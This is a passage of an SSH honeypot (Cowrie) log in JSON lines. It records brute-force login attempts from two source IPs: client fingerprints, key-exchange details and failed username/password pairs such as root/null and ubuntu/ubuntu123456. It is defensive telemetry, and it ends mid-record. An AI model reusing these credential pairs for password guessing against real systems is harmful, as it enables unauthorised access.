{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:28.713776Z","src_ip":"176.65.139.95","session":"369e233fb22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:28.840233Z","src_ip":"176.65.139.95","session":"369e233fb22c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:29.150772Z","src_ip":"176.65.139.95","session":"369e233fb22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:30.256078Z","src_ip":"176.65.139.95","session":"369e233fb22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33242,"dst_ip":"159.203.135.109","dst_port":22,"session":"8704a4a910d2","protocol":"ssh","message":"New connection: 176.65.139.95:33242 (159.203.135.109:22) [session: 8704a4a910d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:35.101869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:35.110501Z","src_ip":"176.65.139.95","session":"8704a4a910d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:35.192533Z","src_ip":"176.65.139.95","session":"8704a4a910d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:35.504844Z","src_ip":"176.65.139.95","session":"8704a4a910d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:36.589474Z","src_ip":"176.65.139.95","session":"8704a4a910d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52884,"dst_ip":"159.203.135.109","dst_port":22,"session":"0acf6034d9fc","protocol":"ssh","message":"New connection: 176.65.139.95:52884 (159.203.135.109:22) [session: 0acf6034d9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:41.657140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:41.671392Z","src_ip":"176.65.139.95","session":"0acf6034d9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:41.764422Z","src_ip":"176.65.139.95","session":"0acf6034d9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:42.432500Z","src_ip":"176.65.139.95","session":"0acf6034d9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:43.521606Z","src_ip":"176.65.139.95","session":"0acf6034d9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52886,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c14c676bf6f","protocol":"ssh","message":"New connection: 176.65.139.95:52886 (159.203.135.109:22) [session: 9c14c676bf6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:48.261598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:48.265639Z","src_ip":"176.65.139.95","session":"9c14c676bf6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:48.374140Z","src_ip":"176.65.139.95","session":"9c14c676bf6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:49.128963Z","src_ip":"176.65.139.95","session":"9c14c676bf6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:50.230974Z","src_ip":"176.65.139.95","session":"9c14c676bf6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46840,"dst_ip":"159.203.135.109","dst_port":22,"session":"053991237d3d","protocol":"ssh","message":"New connection: 176.65.139.95:46840 (159.203.135.109:22) [session: 053991237d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:55.203108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:55.243747Z","src_ip":"176.65.139.95","session":"053991237d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:55.302723Z","src_ip":"176.65.139.95","session":"053991237d3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:55.739713Z","src_ip":"176.65.139.95","session":"053991237d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:56.825040Z","src_ip":"176.65.139.95","session":"053991237d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58992,"dst_ip":"159.203.135.109","dst_port":22,"session":"51cb44dfb5e5","protocol":"ssh","message":"New connection: 176.65.139.95:58992 (159.203.135.109:22) [session: 51cb44dfb5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:01.798686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:01.808878Z","src_ip":"176.65.139.95","session":"51cb44dfb5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:01.896497Z","src_ip":"176.65.139.95","session":"51cb44dfb5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:02.154528Z","src_ip":"176.65.139.95","session":"51cb44dfb5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:03.243695Z","src_ip":"176.65.139.95","session":"51cb44dfb5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33086,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d60cbf058c","protocol":"ssh","message":"New connection: 159.203.92.129:33086 (159.203.135.109:22) [session: 22d60cbf058c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:05.544814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:06.405182Z","src_ip":"159.203.92.129","session":"22d60cbf058c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:06.411813Z","src_ip":"159.203.92.129","session":"22d60cbf058c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Houjian","password":"Houjian","message":"login attempt [Houjian/Houjian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:07.252005Z","src_ip":"159.203.92.129","session":"22d60cbf058c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58994,"dst_ip":"159.203.135.109","dst_port":22,"session":"58bb5951db3a","protocol":"ssh","message":"New connection: 176.65.139.95:58994 (159.203.135.109:22) [session: 58bb5951db3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:08.356839Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:08.443499Z","src_ip":"159.203.92.129","session":"22d60cbf058c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:08.455066Z","src_ip":"176.65.139.95","session":"58bb5951db3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:08.459080Z","src_ip":"176.65.139.95","session":"58bb5951db3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:08.825862Z","src_ip":"176.65.139.95","session":"58bb5951db3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:10.032587Z","src_ip":"176.65.139.95","session":"58bb5951db3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46104,"dst_ip":"159.203.135.109","dst_port":22,"session":"3492be4c0327","protocol":"ssh","message":"New connection: 176.65.139.95:46104 (159.203.135.109:22) [session: 3492be4c0327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:14.885994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:35:14.891864Z","src_ip":"176.65.139.95","session":"3492be4c0327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh